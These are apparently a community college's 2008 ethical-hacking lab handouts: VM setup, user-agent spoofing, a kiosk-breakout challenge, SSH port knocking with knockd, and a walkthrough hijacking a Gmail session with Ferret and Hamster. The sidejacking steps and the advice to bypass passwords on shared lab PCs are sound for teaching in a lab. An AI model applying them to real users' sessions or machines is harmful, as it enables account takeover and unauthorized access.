
Project 1: Setting up a Windows Machine
10 Points
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What You Need for This Project
· A trusted computer running any version of Windows, with Internet access.  This can be either a real or virtual machine.
· You need administrator privileges on the trusted machine.

· The instructions below assume you are working in the S214 lab.  If you are working at home, you will have to adapt the steps to match your situation.

Start Your Host Machine 
1. Power on a computer and log on with this name and password:

User name: Your CCSF Student ID, unless it starts with @.  If your ID starts with @, replace the @ with X.

Password: changeme

Change Your Password
2. Once you get logged in, you will be prompted to change your password.  Change your password to something you can remember.  Do NOT use a password that you use anywhere else, however!  
Making Your VM (Virtual Machines) Folder
3. Click Start, My Computer.  Double-click the VMs (V:) drive to open it.  (If you have a portable hard drive, that’s an even better place to store your VMs.)
4. In the VMs (V:) window, right-click the empty space and click New, Folder.  Name the folder YOUR NAME VMs replacing YOUR NAME with your own name.

Copying a Windows XP Virtual Machine into Your VM Folder
5. In the VMs (V:) window, double-click Hacking folder to open it.  Right-click the Win XP Pro for Hacking folder and click Copy.

6. In the Hacking window, click the Up button on the toolbar.  Right-click the YOUR NAME VMs folder and click Paste.  Wait until the copy is finished.  This will be your personal Trusted Machine.
Starting VMware 
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Double-click the VMware Workstation icon on the desktop.  In the VMware Workstation window, from the menu bar, click View, Go to Home Tab.
8. On the Home tab, click the Open Existing VM or Team icon.  Navigate to the V: drive, open your folder, open the Win XP Pro for Hacking folder, and double-click the Windows XP Professional.vmx file.  You should see a Windows XP Professional VM in the Powered Off state, as shown to the right on this page.

Starting Your Virtual Machine

9. In the Windows XP Professional – VMware Workstation window, on the left side, click the Start this virtual machine link.

10. If you see a message saying “The location of this virtual machine’s configuration file has changed…,” accept the default selection of Create and click OK.

11. When your machine starts up, click the Student account to log in.  There is no password, and the Student account has Administrative privileges.

Making Sure you Have Antivirus Software Running
12. Every machine on a network needs antivirus software.  This applies to virtual machines as well as physical ones—VMware does not protect the virtual machine from viruses.  If a virtual PC becomes infected with a virus, it can spread to you host system and to other computers on your network. 
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Look at the Notification Area on the lower right of your desktop, next to the clock.  You should see a shield icon with a red V on it.  Hover the mouse over that icon and wait a few seconds.  You should see the message “VirusScan On-Access Scan is enabled”, as shown to the right on this page.  That shows that McAfee Antivirus is running.  If you are using some other antivirus product, such as Norton or AVG or Avast, you should see some icon there indicating that it is protecting you.  

14. If you don’t have any antivirus software running, do these steps:
Installing avast! Free Antivirus

a. Open a browser and go to avast.com
b. In the upper left of the page, point to Products.  In the drop-down menu, point to "Free software".  Click "avast! 4 Home Edition".  Scroll down and click the orange "avast! 4 Home Download" link.  In the next page, click the green "Download Now!" button.  In the c|net page, click the green "Download Now!" button.  Save the file on your desktop.
c. Double-click the file on your desktop.  Click through the installer, accepting all the default selections.  Accept the agreement.  When it asks Do you wish to schedule a boot-time antivirus scan…, click No.  Then click Finish to restart your machine. 

Verifying that Firefox is Installed

15. Click Start, "All Programs", and look for "Mozilla Firefox".  If it's not there, you will need to open Internet Explorer, go to getfirefox.com, download and install the latest version. 
Changing Your Virtual Machine’s Name

16. All the virtual machines now have the same name.  This will cause warning messages to appear on the desktops, and it’s confusing.  So you should change your machine’s name to contain the station number and your name, with the following steps:
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Click the Start button on your virtual machine’s desktop, right-click My Computer, and click Properties.  Click the Computer Name tab.  Click the Change button.  Enter the name of your station followed by your name, which will be something like this  S214-01-YOURNAME.  Click OK.  When a Computer Name Changes box appears saying “You must restart…”, click OK.  In the System Properties box, click OK.  In the System Settings Change box, click Yes.  Wait while your virtual computer restarts.  Log in as you did before.

18. Click the Start button on your virtual machine’s desktop, right-click My Computer, and click Properties.  Click the Computer Name tab.  The "Full computer name:" should contain your station number and your name, as shown to the right on this page.
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Capturing a Screen Image
19. You need to turn in an image of this screen to get full credit for this portion of the project.  Note the hand symbol on the previous page—that indicates screen images that you must capture and turn in.

20. Press Ctrl+ Alt on the keyboard to release the cursor from within the Virtual Machine window.  Move the mouse pointer out of the VMWare Workstation window.  Click an empty portion of the host Windows XP desktop.

21. Press the PrintScrn key in the upper-right portion of the keyboard.  That will copy the whole desktop to the clipboard.  On some laptops, the Print Screen key does not work. If that happens, try Fn Insert to capture the screen image.
22. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  The desktop appears in the Paint window (only a corner of it will be visible).
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In the untitled - Paint window, click File, Save.  Save the document in the My Pictures folder (or any other place you wish, such as a floppy disk) with the filename Your Name Proj 1.  Select a Save as type of JPEG, as shown in the figure to the right on this page. 

Turning in Your Project
24. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 1 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 1-17-08
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What You Need for This Project
· A trusted computer running any version of Windows, with Internet access.  This can be either a real or virtual machine.

· You need administrator privileges on the trusted machine.

· The trusted machine must have Firefox installed on it.

· The instructions below assume you are working in the S214 lab.  If you are working at home, you will have to adapt the steps to match your situation.

Start Your Host Machine 
1. Power on a computer and log on with CCSF Student ID and the password you chose previously.  

Starting VMware 
2. Double-click the VMware Workstation icon on the desktop.  In the VMware Workstation window, from the menu bar, click View, Go to Home Tab.

3. On the Home tab, click the Open Existing VM or Team icon.  Navigate to the V: drive, open your folder, open the Win XP Pro for Hacking folder, and double-click the Windows XP Professional.vmx file.  

Starting Your Virtual Machine

4. In the Windows XP Professional – VMware Workstation window, on the left side, click the Start this virtual machine link.

5. If you see a message saying “The location of this virtual machine’s configuration file has changed…,” accept the default selection of Create and click OK.

6. When your machine starts up, click the Student account to log in.  There is no password, and the Student account has Administrative privileges.

Installing the Wireshark Packet Sniffer

7. Open Firefox and go to WireShark.org
8. At the top left of the WireShark main page, click the Download link.

9. In the "Download a stable release" section, in the "Windows 2000/XP/2003/Vista Installer (.exe)" section, click the SourceForge.net link.  

10. Download the installer and save it on your desktop.

11. Double-click the installer file, and install the software with the default selections.  It will also install WinPCap.
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Opening the Test Page

12. In the Firefox Address bar, type 147.144.1.2 and press the Enter key.  You should see an error message, as shown to the right on this page.  It doesn't matter if there is a page there or not—your browser still sends an HTTP GET message, and that's what we want to see.

Starting a Packet Capture 

13. Click Start, All Programs, Wireshark, Wireshark.

14. From the Wireshark menu bar, click Capture, Interfaces.  Find the Interface with an IP address starting with 192.168.1.  That’s the interface that connects to the room’s LAN.  Click the Start button in that interface’s line.

15. If you see a message saying "Save capture file before starting a new capture? ", click "Continue Without Saving".

Reloading  the Test Web Page

16. In the Firefox window, click View, Reload.

Stopping the Packet Capture 

17. In the Wireshark window, click Capture, Stop.

18. In the captured packets, find the one with a Destination of 147.144.1.2 and an Info of "GET / HTTP/1.1", as shown below on this page.

[image: image10.jpg]tozila Firerox T

ozilla Firefox

@ User Agent Sniffer - M

T |-

File Edit View History Bookmarks Tools Help

@->-@ 3% [T httpy//samsclass.info/124/proj/sniffer3.ntm [~[&) G

You are the Googlebot! Go away! You can't see my
page!

I






19. Expand the Hypertext Transfer Protocol section in the center pane of the Wireshark window, to show the information that was sent to the server in this packet.  You should see these items, as show on the previous page:

Item
Explanation

· GET / HTTP/1.1\r\n
HTTP Command

· Host: 147.144.1.2\r\n
Host – the domain being requested

· User-Agent: Mozilla/5.0…
Type of browser being used


Many more items…

20. This information is the HTTP Header and it is sent to every Web server you use.  Normally this information is harmless and helps Web page designers optimize the experience of every user, by modifying a page to suit the capabilities of each browser.

Installing the "User Agent Switcher" Firefox Extension

21. You can change all the HTTP Header fields, but the most interesting one to change is User-Agent.

22. In the Firefox window, click Tools, Add-ons.  In the Extensions box, in the lower-right corner, click "Get More Extensions".

23. In the "Firefox Add-ons" page, in the Search field, type "User Agent".  Click the Search button.

24. In the results page, click "User Agent Switcher".

25. On the next page, click the green "Add to Firefox" button.

26. In the "Software Installation" box, wait a few seconds, and then click the "Install Now" button.

27. Click the "Restart Firefox" button..

Changing the User-Agent to Googlebot 
28. In the Firefox window, click Tools, "User Agent Switcher", Options, Options.
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In the "User Agent Switcher Options" box, in the top left, click "User Agents".  Click the Add button.

30. In the "Add User Agent" box, enter a Description of Googlebot, as shown to the right on this page.

31. In the "Add User Agent" box, enter this User Agent:
Googlebot/2.X (http://www.googlebot.com/bot.html)

32. In the "Add User Agent" box, click OK.
33. In the "User Agent Switcher Options" box, click OK.

34. You have now added Googlebot as an available User Agent, but you have not yet chosen to use it.  To do that, in the Firefox window, click Tools, "User Agent Switcher", Googlebot.

Opening the Test Page

35. In the Firefox Address bar, type 147.144.1.2 and press the Enter key.  

Starting a Packet Capture 

36. In the Wireshark window, click Capture, Interfaces.  Find the Interface with an IP address starting with 192.168.1.  That’s the interface that connects to the room’s LAN.  Click the Start button in that interface’s line.

37. If you see a message saying "Save capture file before starting a new capture? ", click "Continue Without Saving".

Reloading  the Test Web Page

38. In the Firefox window, click View, Reload.

Stopping the Packet Capture 

39. In the Wireshark window, click Capture, Stop.

40. In the captured packets, find the one with a Destination of 147.144.1.2 and an Info of "GET / HTTP/1.1".  You should see a User-Agent of "Googlebot/2.X (http://www.googlebot.com/bot.html)", as shown below on this page. 
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Capturing a Screen Image
41. Press Ctrl+ Alt on the keyboard to release the cursor from the Virtual Machine window.  Move the mouse pointer out of the VMWare Workstation window.  Click an empty portion of the host Windows XP desktop.

42. Press the PrintScrn key in the upper-right portion of the keyboard.  That will copy the whole desktop to the clipboard.  

43. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

44. In the untitled - Paint window, click File, Save.  Save the document in the My Pictures folder (or any other place you wish, such as a floppy disk) with the filename Your Name Proj 2a.  Select a Save as type of JPEG, as shown in the figure to the right on this page. 

Opening the Header Test Page

45. In the Firefox Address bar, type this address and press the Enter key:

samsclass.info/124/proj/sniffer3.htm
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You should see the message shown to the right on this page, recognizing you as the Googlebot.

Changing the User-Agent to "CNIT 124"
47. In the Firefox window, click Tools, "User Agent Switcher", Options, Options.
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In the "User Agent Switcher Options" box, in the top left, click "User Agents".  Click the Add button.

49. In the "Add User Agent" box, enter a Description of "CNIT 124", as shown to the right on this page.

50. In the "Add User Agent" box, enter a User Agent of "CNIT 124".

51. In the "Add User Agent" box, click OK.
52. In the "User Agent Switcher Options" box, click OK. 
53. You have now added Googlebot as an available User Agent, but you have not yet chosen to use it.  To do that, in the Firefox window, click Tools, "User Agent Switcher", "CNIT 124".

Opening the Header Test Page

54. In the Firefox Address bar, type this address and press the Enter key:
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samsclass.info/124/proj/sniffer3.htm
55. You should see the message shown below on this page, recognizing you as a CNIT 124 student. 
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Capturing a Screen Image
56. Press Ctrl+ Alt on the keyboard to release the cursor from within the Virtual Machine window.  Move the mouse pointer out of the VMWare Workstation window.  Click an empty portion of the host Windows XP desktop.

57. Press the PrintScrn key in the upper-right portion of the keyboard.  

58. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

59. In the untitled - Paint window, click File, Save.  Save the document in the My Pictures folder (or any other place you wish, such as a floppy disk) with the filename Your Name Proj 2b.  Select a Save as type of JPEG, as shown in the figure to the right on this page. 

Turning in Your Project
60. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 2 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Returning the User Agent to Normal
61. You may want to reset your User Agent back to a normal setting.


Last Modified: 9-14-08
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What You Need for This Project
· The Kiosk virtual machine provided by your instructor.  If you are working in S214, the virtual machine should already be on the VMs drive, in the Adv Hacking folder.  If you are working at home, you will need the DVD your instructor provided with the Kiosk machine on it.

· You will need a host machine that can run the Kiosk machine, with VMWare Player or something equivalent.

Start the Kiosk Machine 
1. Copy the entire "Win XP Kiosk" folder to your hard disk, in your folder on the VMs drive.  
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Start VMware and run the Kiosk machine.  You should see a virtual machine in Kiosk mode as shown below—no Start button, no desktop.  There is nothing but a browser there, showing the CCSF home page.  This is how computers are set up in public kiosks, intended for only one purpose.

Hack in to the Kiosk
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This project does not give you detailed instructions.  Figure out a way into that machine, so you can see the files on the hard drive.  When you do, there are two levels of success, as detailed below.

The First Ten Points
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Open the file C:\TenPoints.txt on the Kiosk.  Take a screen image of its contents, which will be different from the example shown to the right on this page.  Save that image as Project3a.jpg.
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The Second Ten Points
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Open the file C:\Extra.txt on the Kiosk.  Take a screen image of its contents, which will be different from the example shown to the right on this page.  Save that image as Project3b.jpg.

Turning in Your Project
6. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 3 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 9-14-08
What You Need for This Project
· The Kiosk2 virtual machine provided by your instructor.  If you are working in S214, the virtual machine should already be on the VMs drive, in the Adv Hacking folder.  If you are working at home, you will need the DVD your instructor provided with the Kiosk machine on it.

· You will need a host machine that can run the Kiosk2 machine, with VMWare Player or something equivalent.

Start the Kiosk Machine 
1. Copy the entire Kiosk2 folder to your hard disk, in your folder on the VMs drive.  
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Start VMware and run the Kiosk2 machine.  You should see a virtual machine in Kiosk mode as shown below—no Start button, no desktop.  There is nothing but a browser there, showing the CCSF home page.  This is how computers are set up in public kiosks, intended for only one purpose.

Hack in to the Kiosk
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This project does not give you detailed instructions.  Figure out a way into that machine, so you can see the files on the hard drive.  When you do, there are two levels of success, as detailed below.

The First Ten Points
4. [image: image26.jpg]/etc/knockd. conf

[options]
logfile = /var/log/knockd. log

[opensSH]
sequence = 7000,8000,9000
seq_timeout = 50
command = /sbin/iptables -I INPUT 1 -5 %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closessH]
sequence = 9900,8000,7000
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn



Open the file C:\TenPoints.txt on the Kiosk.  Take a screen image of its contents, which will be different from the example shown to the right on this page.  Save that image as Project4a.jpg.
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The Second Ten Points
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Open the file C:\MorePoints.txt on the Kiosk.  Take a screen image of its contents, which will be different from the example shown to the right on this page.  Save that image as Project4b.jpg.

Turning in Your Project
6. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 4 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 9-14-08
What You Need for This Project
· A computer running Ubuntu Linux 8.04, or any other supported version, with Internet access.  This can be either a real or virtual machine. If you need one to use in S214, copy the one on the VMs drive, in the "Hacking" folder, but don't use Ubuntu 6.10—it is no longer supported.

· A second computer on the same LAN running any version of Windows.  In S214, the simplest way to do this is to use Vista as the host operating system, and Ubuntu in a virtual machine on the Vista host.  You may need to install VMware Player on the Vista machine.  VMware player is available on the VMs drive in the Install folder.  The instructions below assume you are using Vista in S214.

Starting Your Ubuntu Machine
1. If you are working in S214, use VMware.  Log in to the Ubuntu machine with the user name yourname and a password of P@ssw0rd
Testing the iptables Firewall

2. You need iptables for this port knocking technique.  It's included in Ubuntu by default.  

3. On your Ubuntu machine, click Applications, Accessories, Terminal.

4. In the Terminal window, type this command, and then press the Enter key:
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sudo iptables -L 

Enter your password when prompted to.  In S214, the password is P@ssw0rd
5. This will show the current iptables firewall rules, as shown to the right on this page.  These rules allow all traffic—the firewall is running, but not blocking anything. 
Finding the Ubuntu Machine's IP Address

6. On your Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:
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ifconfig 

7. Your IP address should appear in the eth0 line, as shown to the right on this page.  If you don't have eth0, but only eth1, that's a VMware problem that you will need to fix, with the steps below.  If you don't know what version of Ubuntu you are using, click System, "About Ubuntu".
For Ubuntu 6.10 (Edgy) and 7.04 (Feisty)
i. Look at the output from the ifconfig command and find the HWaddr for your eth1 interface.
ii. In your Ubuntu machine, edit the /etc/iftab file with this command: sudo nano /etc/iftab and change the MAC address to match the one you found in the previous step.
iii. Restart the Ubuntu virtual machine.
For Ubuntu 7.10 (Gutsy) and 8.04 (Hardy)
i. Look at the output from the ifconfig command and find the HWaddr for your eth1 interface.
ii. In your Ubuntu machine, edit the /etc/udev/rules.d/70-persistent-net.rules file with this command: sudo nano/etc/udev/rules.d/70-persistent-net.rules and change the MAC address to match the one you found in the previous step.
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Restart the Ubuntu virtual machine.
8. Write your eth0 IP address in the box shown to the right on this page. 
Installing SSH on the Ubuntu Machine

9. SSH is a secure way to connect remotely to your Ubuntu machine.  And we'll make it even more secure by adding port knocking to it.

10. On your Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo apt-get install ssh

Enter your password of P@ssw0rd if you are prompted to.  When you are asked "Do you want to continue [Y/n]?", type Y and press the Enter key. 
Installing Nmap on the Windows Machine
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On the Windows machine, open a Web browser and go to nmap.org
12. In the top section of the page, click the Download link.

13. Scroll down to the Windows section, as shown to the right on this page.  Find the "Latest stable release self-installer" and click the link on that line.  Save the installer on your desktop.

14. Close all windows and double-click the installer.  Install the software with the default options.

Scanning the Ubuntu Machine with Nmap

15. On the Windows machine, click Start, "All Programs", Nmap.  Right-click "Nmap – Zenmap GUI" and click "Run as Administrator".  In the "User Account Control" box, click Allow.

16. In the Zenmap window, in the Target: box, enter the Ubuntu machine's IP address.  Click the Scan button.  You should see port 22/tcp open, as shown below on this page.  

[image: image33.jpg]@ Hamster - Morilla Firefox

File Edit View History Bookmarks Tools Help
@D €U R
192.168.11.28 =|HAMSTER 1.0
Side-Jacking

tp://hamster/

[cookies]
« http:/igoogle.com/ The following is a st of ndividuals we can see surfing the
« http://mail google. com/mail web. Click on one of these in order to activate this as the
* hitp:/www.google.com/ side-jacked session. After that point, you can cither select

from the lst of URLS that will appear on the left, or you

 hitp:/192.168.11.1:49152/upnr. | can type a new URL in the browser's address bar.
* hitpy/mai google commail/chan
« hitpy/mail google com/mail Pui= * 192.168.11.28 - *s214target @gmail com” I

© 192.168.112

“enit. 123 @gmail com’” - s

<« ] »





Installing the SSH Secure Shell Client on the Windows Machine

17. On the Windows machine, open a Web browser and go to ftp://ftp.ccsf.edu/pub/SSH
18. Click the "sshSecureShellClient-3.2.9.exe" link.  Save the file on your desktop.

19. On your desktop, double-click sshSecureShellClient-3.2.9.exe" file.  Install the software with the default options.

Opening a SSH Session from the Windows Machine

20. On the Windows machine, click Start, "All Programs", "SSH Secure Shell", "Secure Shell Client".  If you see an error message saying a directory could not be opened for a configuration file, just close it.  That always happens the first time you use this program.

21. In the "- default – SSH Secure Shell" window, click the "Quick Connect" button.  
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In the "Connect to Remote Host" box, put your Ubuntu machine's IP address in the "Host Name" box.  In the "User Name" box, enter yourname, as shown to the right on this page.  Click Connect.

23. In the "Host Identification" box, click Yes.  The fingerprint shown here gives you protection from a man-in-the-middle attack, but we aren't worrying about that right now.

24. In the Password box, enter P@ssw0rd and click OK.  
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You should see a window showing a long banner (revealing more than it should), with the warning "Ubuntu comes with ABSOLUTELY NO WARRANTY", ending with a $ prompt, as shown to the right on this page. 
Capturing a Screen Image
26. Press the PrintScrn key in the upper-right portion of the keyboard.  

27. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

28. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 5a.  

Using the SSH Session 

29. On the Windows machine, in the SSH Secure Shell window, after the $ prompt, type this command, and then press the Enter key:

whoami

You should see the answer yourname.

30. You now have complete remote control over your Ubuntu machine.  You could even use sudo and gain administrative privileges.  Your only protection is your password—if someone cracked that, your Ubuntu machine would be owned.  We'll fix that by adding port knocking, to make it more secure.
31. Close the SSH Secure Shell window.  In the "Confirm Exit" box, click OK.
Configuring the iptables Firewall to Allow Established Traffic

32. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

This rule will allow the machine to act as a client, like the Windows XP Service Pack 2 firewall—traffic initiated by the machine will be allowed.  Of course, this won't make any immediate difference because right now all traffic is allowed anyway.
Configuring the iptables Firewall to Block All Other Traffic

33. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo iptables -A INPUT -j DROP

This rule will cause all traffic to be dropped, except the traffic that was allowed by the previous rule.

34. In the Terminal window, type this command, and then press the Enter key:

sudo iptables -L 
You should see two rules, one beginning with ACCEPT, followed by one beginning with DROP, as shown below on this page.
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Checking Network Connectivity from the Ubuntu Machine

35. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

firefox
36. Firefox opens.  View a couple of Web pages.  It should work, because those connections are established by the Ubuntu machine, and therefore allowed by the iptables firewall.

Scanning the Ubuntu Machine with Nmap

37. On the Windows machine, in the Zenmap window, click the Scan button.  The result should say "All 1714 scanned ports…are filtered", as shown below on this page
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Opening a SSH Session from the Windows Machine

38. On the Windows machine, click Start, "All Programs", "SSH Secure Shell", "Secure Shell Client".  

39. In the "- default – SSH Secure Shell" window, click the "Quick Connect" button.  
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In the "Connect to Remote Host" box, put your Ubuntu machine's IP address in the "Host Name" box.  In the "User Name" box, enter yourname
41. Click Connect.  After a pause of 30 seconds or so, a "Connection Failure" box appears, as shown to the right on this page.  The firewall is not allowing SSH to connect, because all connections originating from the outside are denied.

Installing knockd

42. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo apt-get install knockd 

It should download and install from the Ubuntu archives.  When the installation is complete, you will see this message: "Not starting knockd.  To enable it edit /etc/default/knockd".
Customizing the knockd Configuration File

43. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo pico /etc/knockd.conf 
44. The file opens in the pico file editor, as shown below on this page.  The portion we are most interested in is the [OpenSSH] section.  For right now, leave the sequence as it is, but change the seq_timeout to 50.  That will give us plenty of time to complete the port knocking—50 seconds.

45. You also need to change the command in the [OpenSSH] section to this (thanks to Artem for pointing this out to me):

command = /sbin/iptables –I INPUT 1 –s %IP% -p tcp –dport 22 –j ACCEPT
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Your knockd.conf file should now look like the example below.

47. Press Ctrl+X.  Respond to the "Save modified buffer" message by pressing Y.   Respond to the "File Name to write" message by pressing the Enter key.  

Starting knockd

48. On the Ubuntu machine, in the Terminal window, type this command, and then press the Enter key:

sudo knockd 

There will be no response, and no $ prompt.  knockd is running—just leave the Terminal window open.
Showing the knockd Log

49. On the Ubuntu machine, in the Terminal window, click File, "Open Terminal".

50. In the new Terminal window type this command, and then press the Enter key:

tail –f /var/log/knockd.log
This will show the knockd log file, continuously updated, as shown below on this page.
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Knocking with Nmap

51. On the Windows machine, in the Zenmap window, enter this line into the Command: field:

nmap -p7000 -PN -sS –max-retries 0 192.168.11.11
Replace the IP address at the end of the command with the IP address of your Ubuntu machine.

52. Click the Scan button.  This will send a SYN packet to port 7000 on the Ubuntu machine.
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Look at your Ubuntu machine.  You should see the message "OpenSSH: Stage 1", as shown below on this page.  This means that the first stage of port knocking is complete.
54. On the Windows machine, in the Zenmap window, enter this line into the Command: field:

nmap –p8000 -PN -sS –max-retries 0 192.168.11.11
Replace the IP address at the end of the command with the IP address of your Ubuntu machine.

55. Click the Scan button.  This will send a SYN packet to port 8000 on the Ubuntu machine.

56. On the Windows machine, in the Zenmap window, enter this line into the Command: field:

nmap –p9000 -PN -sS –max-retries 0 192.168.11.11
Replace the IP address at the end of the command with the IP address of your Ubuntu machine.

57. Click the Scan button.  This will send a SYN packet to port 9000 on the Ubuntu machine.
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Look at your Ubuntu machine.  You should see that all three stages of knocking are complete, and that the iptables command has been run to open the port, as shown below on this page.  
Opening a SSH Session from the Windows Machine

59. On the Windows machine, click Start, "All Programs", "SSH Secure Shell", "Secure Shell Client".  If you see an error message saying a directory could not be opened for a configuration file, just close it.  That always happens the first time you use this program.
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In the "- default – SSH Secure Shell" window, click the "Quick Connect" button.  

61. In the "Connect to Remote Host" box, put your Ubuntu machine's IP address in the "Host Name" box.  In the "User Name" box, enter yourname, as shown to the right on this page.  Click Connect.

62. In the Password box, enter P@ssw0rd and click OK.  

63. You should connect successfully, and see the warning "Ubuntu comes with ABSOLUTELY NO WARRANTY", ending with a $ prompt.  The knocking opened the port!  
Viewing the Ubuntu Processes With the SSH Session 

64. On the Windows machine, widen the SSH Secure Shell window, so that longer lines are visible.  

65. in the SSH Secure Shell window, after the $ prompt, type this command, and then press the Enter key:

sudo ps aux

Enter your password when you are prompted to.

66. You should see a list of active processes on the Ubuntu machine.  You should see a knockd process, and at least one sshd process, as shown below on this page.
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Capturing a Screen Image
67. Press the PrintScrn key in the upper-right portion of the keyboard.  

68. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

69. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 5b. 

Turning in Your Project
70. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 5 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 9-14-08
What You Need for This Project
· A computer running any version of Windows to be the Attacker.  It can be a real or virtual machine.

· A second computer on the same LAN to be the Target.  The Target can run any operating system at all, Windows, Mac, Linux, Unix, whatever.  It can be a real or virtual machine.

· The two computers must be connected on a hubbed, not switched network, so the Attacker can capture packets from Target.  The instructions below assume you are using a Vista PC as the Attacker, and a Windows XP virtual machine as the Target.

Starting the Attacker Machine
1. If you are working in S214, boot your PC to Vista and log in as Student.  This will be your Attacker machine.  

a. If there is a password, try P@ssw0rd.  If that doesn't work, use the Ultimate Boot CD to create a new administrator account for yourself.  Everyone using computers in S214 has been warned that their machine may be hacked.  Of course, don't delete their homework files or anything nasty, but have no reluctance to create admin accounts and use their machines.

2. If VMware Player is not installed, get it from the VMs drive in the Install folder and install it.  If you can't find the VMware player, or prefer to use the latest version, go to vmware.com and download it.

Starting the Target Machine
3. Use VMware and run any of your virtual machines.  That will be your Target machine.  

4. Open a browser on your Target machine and make sure you can connect to the Internet.

Finding the Target Machine's IP Address
5. On your Target machine, click Start, Run.  Type in CMD and press the Enter key.
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In the Command Prompt window, type in IPCONFIG and press the Enter key.  Find your IP address and write it in the box to the right on this page.  In S214, your IP address will start with 192.168.1.

Installing Nmap on the Attacker Machine
7. You need to have WinPCap on your Vista Attacker machine.  A simple way to do that is to install Nmap, which is something you should have handy anyway.  
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On the Attacker machine, open a Web browser and go to nmap.org
9. In the top section of the page, click the Download link.

10. Scroll down to the Windows section, as shown to the right on this page.

11. Find the "Latest stable release self-installer" and click the link on that line.  Save the installer on your desktop.

12. Close all windows and double-click the installer.  Install the software with the default options.

Downloading Ferret and Hamster on the Attacker Machine
13. On your Vista Attacker machine, open Firefox and go to this URL:

http://www.erratasec.com/sidejacking.zip
14. Save the file on your desktop.  Double-click it to open it.  Drag the Sidejacking folder to your desktop.

Running the Ferret Cookie Sniffer on the Attacker Machine
15. On the Vista Attacker machine's desktop, hold down the Shift key and right-click the Sidejacking folder.  In the context menu, click "Open Command Window Here". 

16. In the Command Prompt window, type the following command, then press the Enter key:

ferret –i 0 

17. Open Firefox and go to www.ccsf.edu.  You should see a message saying 'Traffic seen proto="HTTP", op="GET", Host="www.ccsf.edu", URL="/"', as shown below on this page.
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If you don't see any traffic, try using a different number after the –i switch to select a different network adapter, such as ferret –i 1
18. On the Vista Attacker machine, open some web sites, such as google.com and msn.com.  You should see information about each website scroll by as Ferret collects cookies.

Running the Hamster Proxy Server on the Attacker Machine
19. On the Vista Attacker machine's desktop, double-click Sidejacking folder to open it.

20. In the Sidejacking widow, double-click hamster.exe/
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If a "Windows Security Alert" box pops up, saying "Windows Firewall has blocked some features of this program", click Unblock. In the "User Account Control" box, press Alt+C or click Continue.

22. A Command Prompt window opens, showing the message "HAMPSTER side-jacking tool", as shown to the right on this page. 
Configuring Firefox to Use the Proxy Server on the Attacker Machine
23. Warning: the Hamster documentation says it will screw up the cookies in your browser.  I didn't see any problem when I did it, however.  You may want to create a different Firefox profile just for this project, however.  I didn't bother.

24. On the Vista Attacker machine, from the Firefox window's menu bar, click Tools, Options.

25. In the Options box, click the Advanced button.  Click the Network tab.

26. In the Connection section, click the Settings button.
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In the "Connection Settings" box, click the "Manual pro xy configuration" radio button.  Enter an HTTP Proxy: of 127.0.0.1 and a Port of 3128, as shown below on this page.

28. In the "Connection Settings" box, click OK.

29. In the Options box, click OK.

Using the Hamster Web Interface
30. On the Vista Attacker machine, in the Firefox address bar, type in http://hamster and press the Enter key.

31. The HAMSTER 1.0 Side-Jacking page should open, as shown below on this page.  On the right side of this page, find the Target IP address you wrote in the box on a previous page of these instructions and click it.
Opening Gmail on the Target Machine
32. On the Target machine, in the Firefox window, go to gmail.com
33. Log in with a Gmail account.  If you don't want to use your own account, use this one: User name S214Target password hackmenow
Viewing the Captured Cookie on the Attacker Machine
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On the Vista Attacker machine, in the Firefox window, click the Refresh button.  On the right side, notice that the Target IP address appears, with the Gmail account name from the Target machine, as shown below on this page

Capturing a Screen Image
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35. Make sure you can see the HAMSTER title, and an IP address with a Gmail account name, as shown to the right on this page.  That shows that you have successfully captured a Gmail logon cookie with Hamster.

36. Press the PrintScrn key in the upper-right portion of the keyboard.  

37. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

38. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 6. 

Viewing Gmail on the Attacker Machine
39. In the left pane, click the http://mail.google.com/mail link.[image: image54.jpg]Server: Er—
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40. On the Vista Attacker machine, in the Firefox window, a Gmail page opens, as shown to the right on this page.  This is the Gmail from the Target machine. 

41. Click any email in the Inbox to open it.

Trying the Gmail Services 

42. See how much real functionality you get in the sidejacked Gmail box.  When I tried it, this is what I found:

a. I can open and read any message in the Inbox

b. I can't view the Sent Mail or Compose and send a new message.

c. Refreshing the page to see incoming new mail is unreliable.  Sometimes it works, sometimes not.  But if I want to see new mail, I can just do this: close the Gmail tab, refresh the Hamster window, click on the Target IP, and click on the http://mail.google.com/mail link again to see the new mail.

